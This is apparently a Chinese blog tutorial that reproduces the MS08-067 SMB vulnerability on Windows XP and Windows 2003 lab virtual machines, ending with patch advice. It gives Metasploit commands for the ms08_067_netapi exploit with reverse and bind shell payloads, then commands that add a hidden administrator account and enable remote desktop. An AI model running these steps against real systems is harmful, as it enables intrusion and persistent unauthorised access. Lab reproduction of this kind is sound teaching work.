虚拟机winxp纯净_WinXP的MS08067漏洞利用复现和解决方案

本文详细介绍了MS08-067漏洞的复现过程,包括在WinXP和Win2003虚拟机上的利用步骤,以及解决方案。首先,通过CVE、NVD等资源查找漏洞信息,然后在虚拟机中进行环境配置,确保445端口开放。接着,利用Metasploit进行系统渗透,创建管理员用户并开启远程访问。最后,提出升级系统和安装补丁作为解决措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

35106ec9a84116a762a901715479a894.gif

点击上方蓝字关注我们

漏洞利用前准备

寻找漏洞

·CVE https://cve.mitre.org/

Common Vulnerabilities & Exposures公共漏洞和暴露, 由MITRE 1999年发起以社区作为努力方向

·NVD https://nvd.nist.gov/

美国国家通用漏洞数据库,National Institute of Standards and Technology (NIST) 2005年发起.

·CNVD

CNVD是国家信息安全漏洞共享平台,英文是China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT则是工信部的下属单位。

·CNNVD http://www.cnnvd.org.cn/

CNNVD是中国国家信息安全漏洞库,英文名称China National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(一般简称国测,国测的主管单位是Security部),是中国信息安全测评中心为切实履行漏洞分析和风险评估的职能,负责建设运维的国家级信息安全漏洞库,为我国信息安全保障提供基础服务。

·MSRC https://docs.microsoft.com/en-us/security-updates/

Microsoft Security Response Center (微软安全应急响应中心)提供的 Security Advisories and Bulletins安全警告和公告

我们今天要介绍的就是MS08-067,看名称就可以知道,是在08年的第67个公告 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067

虚拟机安装
需要的文件

·各种虚拟机系统: 自备        

·纯净版WinXPSP3:winxp-sp3 English(winxpensp3)

·Kali Linux 虚拟机文件: kali-linux-2020.2-vmware-amd64.7z (默认用户名密码不是root/toor而是kali/kali)

安装过程(略)

·记得将虚拟机的网卡都设置为桥接模式

·WinXP系统管理员(Administrator)密码可以设置为复杂密码

·WinXP初次启动画面选择不启动自动更新,第一个用户名随便填写

·WinXP启动后关闭Windows自带防火墙

·Kali如果不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。

·Kali使用默认的qterminal

·Kali中文支持

o打开终端

osudo dpkg-reconfigure locales里面选择en_US.UTF-8、zh_CN.GBK、zh_CN.UTF-8,用空格选定,用Tab选择OK回车

o默认环境可以选择zh_CN.UTF-8也可以选择en_US.UTF-8

o更新包为最新内容 sudo apt-get update ,有些人也可以选择更新到国内源,只是需要修改/etc/apt/sources.list的源内容,具体可以提issue询问如何修改

o安装默认桌面环境需要的字体sudo apt-get install xfonts-intl-chinese ttf-wqy-microhei

o重启Kali -> reboot

攻击者ip为192.168.1.102

被攻击的ip为192.168.1.128

03漏洞利用

嗅探端口看看445端口开了没

9958675f7cbcb27fe0ee1ce20f03dcea.png

看到确实开放了445端口也就是SMB

系统渗透

·进入msf终端

kali@kali:~$ msfconsole

f4db091f5638b930e11225fd9a6b4544.png

·搜索ms08_067漏洞信息

msf5 > search ms08_067

16efbc2ae2297fbbe4c75a4c7f0c8f79.png

·选择利用此漏洞

msf5 > use exploit/windows/smb/ms08_067_netapi

fa12e691e3293dcc333797c226a11972.png

·设置payload

786a71bf691a59f0491eaebc77077323.png

输入 show payloads

acf5d3193119bdbb82866dae0111e139.png

msf5 exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp

6cb53bf10b1ad276e79cf163695064e9.png

·设置target为XP2001

msf exploit(windows/smb/ms08_067_netapi) > set target 6

10cfd3d0517b6e873dc8117ac93c3b90.png

·设置目标机器IP地址

msf exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"

c475cec199eb937f2002586b57ecdfa6.png

·查看当前渗透选项

msf exploit(windows/smb/ms08_067_netapi) > show options

fcc6a5871ec259c46367b0c145ca4907.png

·开始渗透

b5c1744cd1250d3e06ca5b6237ce6ad7.png

这样就已经成功拿到Windows Shell


漏洞利用

创建Windows用户,用户名为someone 密码为12345678

命令 net user someone 12345678 /add

c382873cda7b8b7ad1bbaf445f6cf46c.png

命令成功完成。

将用户someone加入管理员组

命令 net localgroup administrators someone /add        

0d8291aa0f59eebf7e77a382ff882013.png

命令成功完成

·修改注册表开启远程访问

命令 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

操作成功结束        

c83d0a1b1c3b334139fb66251ab3398f.png

此时用netstat -an可以看到3389端口开启,说明已经有效了        

093d22acd6b41b2ee9afa8e12e84fd63.png

这样我们可以用远程桌面连接了 例如

rdesktop 192.168.1.128

f031cf3299af5166411cdc24e5e9e4c2.png

b6b871acd30d03e6df44b126edf47cd2.png

04 解决方案

升级到最新的Windows系统

安装KB958644补丁        


Wi
n2003的MS08-067漏洞利用复现和解决方案

漏洞利用前准备

寻找漏洞

·CVE https://cve.mitre.org/

Common Vulnerabilities & Exposures公共漏洞和暴露, 由MITRE 1999年发起以社区作为努力方向

·NVD https://nvd.nist.gov/

美国国家通用漏洞数据库,National Institute of Standards and Technology (NIST) 2005年发起.

·CNVD

CNVD是国家信息安全漏洞共享平台,英文是China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT则是工信部的下属单位。

·CNNVD http://www.cnnvd.org.cn/

CNNVD是中国国家信息安全漏洞库,英文名称China National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(一般简称国测,国测的主管单位是Security部),是中国信息安全测评中心为切实履行漏洞分析和风险评估的职能,负责建设运维的国家级信息安全漏洞库,为我国信息安全保障提供基础服务。

·MSRC https://docs.microsoft.com/en-us/security-updates/

Microsoft Security Response Center (微软安全应急响应中心)提供的 Security Advisories and Bulletins安全警告和公告

我们今天要介绍的就是MS08-067,看名称就可以知道,是在08年的第67个公告 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067

虚拟机安装
需要的文件

·各种虚拟机系统: 自备

·Win2003虚拟机:Win2K3 Metasploit

·Kali Linux 虚拟机文件: kali-linux-2020.2-vmware-amd64.7z (默认用户名密码不是root/toor而是kali/kali)

安装过程(略)

·记得将虚拟机的网卡都设置为桥接模式

·Win2003系统管理员(Administrator)密码可以设置为复杂密码

·Win2003初次启动画面选择不启动自动更新,第一个用户名随便填写

·Win2003启动后关闭Windows自带防火墙

·Kali如果不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。

·Kali使用xfce Terminal而不是默认的qterminal

0x03 漏洞利用

机器地址

攻击者ip 192.168.1.105

被攻者IP 192.168.1.128


嗅探端口
看看445端口开放没

kali@kali:~$ nmap -PS 192.138.1.128

893b2cdafdd0d9626741736c0cb95125.png

看到确实开放了445端口也就是SMB

系统渗透

·进入msf终端

kali@kali:~$ msfconsole

098c534ac1039a2a3d0473bcac538859.png

·搜索ms08_067漏洞信息

msf5 > search ms08_067

7e10e6135521bca5e406aa50d8375f78.png

·选择利用此漏洞

msf5 > use exploit/windows/smb/ms08_067_netapi

dd22b0f97d1d8f2fdbbea777b59cd056.png

·设置payload

msf5 exploit(windows/smb/ms08_067_netapi) > set payload "generic/shell_bind_tcp"

dd22b0f97d1d8f2fdbbea777b59cd056.png

·设置target为win2003-english,我这里不知道他是哪个所以填0        

msf5 exploit(windows/smb/ms08_067_netapi) > set target 0

66fd4e8d0d0ca122a5aec0fae890b74d.png

·设置目标机器和被攻击机器IP地址RHOST-被攻击LHOST-攻击机器

msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"

msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST"192.168.1.108"

afa0c54841829a443c45547c5edaa780.png

·查看当前渗透选项

msf5 exploit(windows/smb/ms08_067_netapi) > show options

403bde5d649b2a38eefe9c3c110de0de.png

开始渗透

ce6b0a6237af2ee6d2962bbea8d62ba3.png

这样就已经成功拿到Windows Shell


漏洞利用

创建Windows用户,用户名为someone 密码为12345678

命令 net user someone 12345678 /add

命令成功完成

4ad840494309135ed3c1e886f8f58957.png

将用户someone加入管理员组

命令net localgroup administrators someone /add

命令成功完成。

9d6e5f8d9240f4d54be4f9c4a2aec3af.png

修改注册表开启远程访问

命令REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

3132d55227e6b96fd7c0f885a2512908.png

操作成功结束

此时用netstat -an可以看到3389端口开启,说明已经有效了

68946ef8b95d2992fbc1e48cf4246ec0.png

这样我们可以用远程桌面连接了 例如

rdesktop 192.168.1.128

15f6272e7a77cdbc9519406e913bdfcb.png

0x04 解决方案

升级到最新的Windows系统

安装KB958644补丁

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值